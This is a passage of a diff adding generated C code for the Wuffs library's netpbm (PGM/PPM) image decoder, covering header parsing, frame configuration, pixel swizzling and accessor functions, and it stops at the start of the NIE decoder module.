{ ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 != 80u) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if ((v_c8 < 49u) || (55u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } else if (v_c8 == 53u) { ++ self->private_impl.f_pixfmt = 536870920u; ++ } else if (v_c8 == 54u) { ++ self->private_impl.f_pixfmt = 2684356744u; ++ } else { ++ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (v_c8 != 10u) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if ((v_c8 == 32u) || (v_c8 == 9u)) { ++ continue; ++ } else if (v_c8 == 35u) { ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ if (v_c8 == 10u) { ++ break; ++ } ++ } ++ continue; ++ } else if ((v_c8 < 48u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_width = ((uint32_t)(((uint8_t)(v_c8 - 48u)))); ++ break; ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; ++ } ++ if ((v_c8 == 32u) || (v_c8 == 9u)) { ++ break; ++ } else if ((v_c8 < 48u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ v_n = ((10u * self->private_impl.f_width) + ((uint32_t)(((uint8_t)(v_c8 - 48u))))); ++ if (v_n > 16777215u) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); ++ goto exit; ++ } ++ self->private_impl.f_width = v_n; ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; ++ } ++ if ((v_c8 == 32u) || (v_c8 == 9u)) { ++ continue; ++ } else if (v_c8 == 35u) { ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_7 = *iop_a_src++; ++ v_c8 = t_7; ++ } ++ if (v_c8 == 10u) { ++ break; ++ } ++ } ++ continue; ++ } else if ((v_c8 < 48u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_height = ((uint32_t)(((uint8_t)(v_c8 - 48u)))); ++ break; ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_8 = *iop_a_src++; ++ v_c8 = t_8; ++ } ++ if ((v_c8 == 32u) || (v_c8 == 9u) || (v_c8 == 13u)) { ++ continue; ++ } else if (v_c8 == 10u) { ++ break; ++ } else if ((v_c8 < 48u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ v_n = ((10u * self->private_impl.f_height) + ((uint32_t)(((uint8_t)(v_c8 - 48u))))); ++ if (v_n > 16777215u) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); ++ goto exit; ++ } ++ self->private_impl.f_height = v_n; ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_9 = *iop_a_src++; ++ v_c8 = t_9; ++ } ++ if ((v_c8 == 32u) || (v_c8 == 9u)) { ++ continue; ++ } else if (v_c8 == 35u) { ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_10 = *iop_a_src++; ++ v_c8 = t_10; ++ } ++ if (v_c8 == 10u) { ++ break; ++ } ++ } ++ continue; ++ } else if ((v_c8 < 48u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_max_value = ((uint32_t)(((uint8_t)(v_c8 - 48u)))); ++ break; ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_11 = *iop_a_src++; ++ v_c8 = t_11; ++ } ++ if ((v_c8 == 32u) || (v_c8 == 9u) || (v_c8 == 13u)) { ++ continue; ++ } else if (v_c8 == 10u) { ++ break; ++ } else if ((v_c8 < 48u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ v_n = ((10u * self->private_impl.f_max_value) + ((uint32_t)(((uint8_t)(v_c8 - 48u))))); ++ if (v_n > 16777215u) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); ++ goto exit; ++ } ++ self->private_impl.f_max_value = v_n; ++ } ++ if (self->private_impl.f_max_value != 255u) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); ++ goto exit; ++ } ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ self->private_impl.f_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ false); ++ } ++ self->private_impl.f_call_sequence = 32u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func netpbm.decoder.decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_netpbm__decoder__decode_frame_config( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 2)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func netpbm.decoder.do_decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__do_decode_frame_config( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_netpbm__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ self->private_impl.f_frame_config_io_position, ++ 0u, ++ false, ++ false, ++ 0u); ++ } ++ self->private_impl.f_call_sequence = 64u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func netpbm.decoder.decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_netpbm__decoder__decode_frame( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func netpbm.decoder.do_decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__do_decode_frame( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_netpbm__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y = 0u; ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette(a_dst), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), ++ wuffs_base__utility__empty_slice_u8(), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ while (true) { ++ v_status = wuffs_netpbm__decoder__swizzle(self, a_dst, a_src); ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if (v_status.repr != wuffs_netpbm__note__internal_note_short_read) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func netpbm.decoder.swizzle ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__swizzle( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ uint32_t v_src_bytes_per_pixel = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_j = 0; ++ uint64_t v_n = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; ++ } ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ while (true) { ++ if (self->private_impl.f_dst_x == self->private_impl.f_width) { ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += 1u; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ break; ++ } ++ } ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ } ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ if (v_i >= ((uint64_t)(v_dst.len))) { ++ v_src_bytes_per_pixel = 1u; ++ if (self->private_impl.f_pixfmt == 2684356744u) { ++ v_src_bytes_per_pixel = 3u; ++ } ++ v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); ++ v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); ++ v_j = v_n; ++ while (v_j >= 8u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { ++ iop_a_src += (v_src_bytes_per_pixel * 8u); ++ } ++ v_j -= 8u; ++ } ++ while (v_j > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { ++ iop_a_src += (v_src_bytes_per_pixel * 1u); ++ } ++ v_j -= 1u; ++ } ++ } else { ++ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( ++ &self->private_impl.f_swizzler, ++ wuffs_base__slice_u8__subslice_i(v_dst, v_i), ++ wuffs_base__pixel_buffer__palette(a_dst), ++ &iop_a_src, ++ io2_a_src); ++ } ++ if (v_n == 0u) { ++ status = wuffs_base__make_status(wuffs_netpbm__note__internal_note_short_read); ++ goto ok; ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ } ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ ++ ok: ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func netpbm.decoder.frame_dirty_rect ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_netpbm__decoder__frame_dirty_rect( ++ const wuffs_netpbm__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ ++ return wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); ++} ++ ++// -------- func netpbm.decoder.num_animation_loops ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_netpbm__decoder__num_animation_loops( ++ const wuffs_netpbm__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func netpbm.decoder.num_decoded_frame_configs ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_netpbm__decoder__num_decoded_frame_configs( ++ const wuffs_netpbm__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func netpbm.decoder.num_decoded_frames ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_netpbm__decoder__num_decoded_frames( ++ const wuffs_netpbm__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func netpbm.decoder.restart_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_netpbm__decoder__restart_frame( ++ wuffs_netpbm__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } ++ if ((a_index != 0u) || (a_io_position != self->private_impl.f_frame_config_io_position)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func netpbm.decoder.set_report_metadata ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_netpbm__decoder__set_report_metadata( ++ wuffs_netpbm__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func netpbm.decoder.tell_me_more ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_netpbm__decoder__tell_me_more( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; ++ ++ goto ok; ++ ok: ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func netpbm.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_netpbm__decoder__workbuf_len( ++ const wuffs_netpbm__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_nie__error__bad_header[] = "#nie: bad header"; ++const char wuffs_nie__error__truncated_input[] = "#nie: truncated input"; ++const char wuffs_nie__error__unsupported_nie_file[] = "#nie: unsupported NIE file"; ++const char wuffs_nie__note__internal_note_short_read[] = "@nie: internal note: short read"; ++ ++// ---------------- Private Consts ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ 